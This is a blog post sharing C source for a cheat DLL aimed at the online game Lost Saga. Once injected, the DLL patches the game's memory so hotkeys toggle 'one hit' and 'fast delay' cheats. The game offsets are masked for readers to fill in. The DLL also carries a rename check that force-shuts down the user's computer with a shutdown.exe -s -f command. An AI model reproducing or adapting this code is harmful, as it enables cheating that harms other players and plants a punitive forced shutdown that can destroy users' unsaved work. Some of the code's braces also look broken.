//===================================//
//Title : Base Lost saga
//Creator: SaNz Lavigne [Yosua Kato Lawliet Sanz Lavigne]*ORANG GANTENG SEDUNIA
//Greetz : Nyit-nyit.n*t and Snu*z.us
//Contact Me Via:
//Twitter:http://www.twitter.com/Yosua98_
//Facebook:http://www.facebook.com/Avalanche7
//Ganti Credit = MAHO PERMANEN << BACA
//Thank's to Authors YKLSL
//Created:12/07/2012
//YANG NGEDIT TANPA IJIN BANGSA**TTTT << BACA!
//===================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
//============ OFFSET ============
#define OneHitCSD 0x****** //offset cari sendiri XP
#define FastDelay 0x***** //offset cari sendiri XP
//============ ------ ============
LPTSTR ModulGame = "lostsaga.exe"; //Targetnya
void Patch(void *adr, void *ptr, int size)
{
DWORD OldProtection;
VirtualProtect(adr,size,PAGE_EXECUTE_READWRITE, &OldProtection);
memcpy(adr,ptr,size);
VirtualProtect(adr,size,OldProtection, &OldProtection);
}
void WritePointer(unsigned long ulBase, int iOffset, int iValue)
{
if (!IsBadReadPtr((VOID*)ulBase, sizeof(unsigned long)))
{
if (!IsBadWritePtr((void*)(*(unsigned long*)ulBase + iOffset), sizeof(unsigned long)))
{
*(int*)(*(unsigned long*)ulBase + iOffset) = iValue;
}
}
}
void SaNzLavigne()
{
while(1)
{
//========== 1 Hit Crusade Perintah ==========//
if (GetAsyncKeyState(VK_F1)&1) { // Hotkey ON, Silahkan diedit bagian ini
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)OneHitCSD;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00", 1); // Jangan diotak - atik Agar WORK
}
}
if (GetAsyncKeyState(VK_F2)&1) { // Hotkey OFF, Silahkan diedit
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)OneHitCSD;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x4D", 1); // Jangan diotak-atik Agar WORK
}
}
//========== Fast Delay Perintah ==========//
if (GetAsyncKeyState(VK_F3)&1) { // Hotkey ON
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)FastDelay;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x68\x61\x73", 3); // Jangan diotak-atik Agar WORK
}
}
if (GetAsyncKeyState(VK_F4)&1) { // Hotkey OFF
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)FastDelay;
Patch((void *)(adrMin1),(void*)(PBYTE)"\x6D\x61\x78", 3); // Jangan diotak-atik Agar WORK
}
}
}
Sleep(5); // Perintah jeda
}
BOOL APIENTRY DllMain(HINSTANCE hDll, DWORD callReason, LPVOID lpReserved) {
DisableThreadLibraryCalls(hDll);
if(callReason == DLL_PROCESS_ATTACH) {
MessageBox(0, "Credit by Yosua kato lawliet sanz \n\n\n\n Greet'z to me\n=================================", "||==== FirZt Avalanche Squad ====||",MB_ICONINFORMATION | MB_OK); // Notice 1
MessageBox(0, "Fitur & Hotkeys :\n[-] 1 Hit Crusade : F1 = ON | F2 = OFF\n[-]Fast Delay : F3 = ON | F4 = OFF\n\nTekan on pada saat Update UDP dan offkan saat mau masuk lobby\n\n\n========================================\nFollow Blog : http://firzt-avalanc...e.co.cc\nFollow us: http://www.twitter.com/yosua98_ ", "~>|-|======= Fitur & Hotkeys ======|-|<~",MB_ICONINFORMATION | MB_OK); // Notice 2
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&SaNzLavigne,0, 0, 0);
char strDLLName [_MAX_PATH];
GetModuleFileName(hDll, strDLLName , _MAX_PATH);
//-================= Edit sendiri agar tidak di Rename =========================-//
if (strstr(strDLLName, "Test.dll") <= 0) {//Nama DLL Asli
MessageBox(0, "Renamed Detected","Unsuccess",MB_ICONSTOP | MB_OK); // tampilkan pesan, kalo dll nya sdh bukan asli / sudah di rename
MessageBox(0, "Don't do this again","Unsuccess",MB_ICONSTOP | MB_OK);
MessageBox(0, "See ya !\nShutdown the computer","Unsuccess",MB_ICONSTOP | MB_OK);
system("start C:/Windows/System32/shutdown.exe -s -f -t 00");
ExitProcess(0);//Process gagal, kompi ke restart
}
}
}
Credit : SAnz
Tuhh Tinggal Kreasikan..
Yang Nggak Mau Susah Payah COpaas
0 komentar:
Post a Comment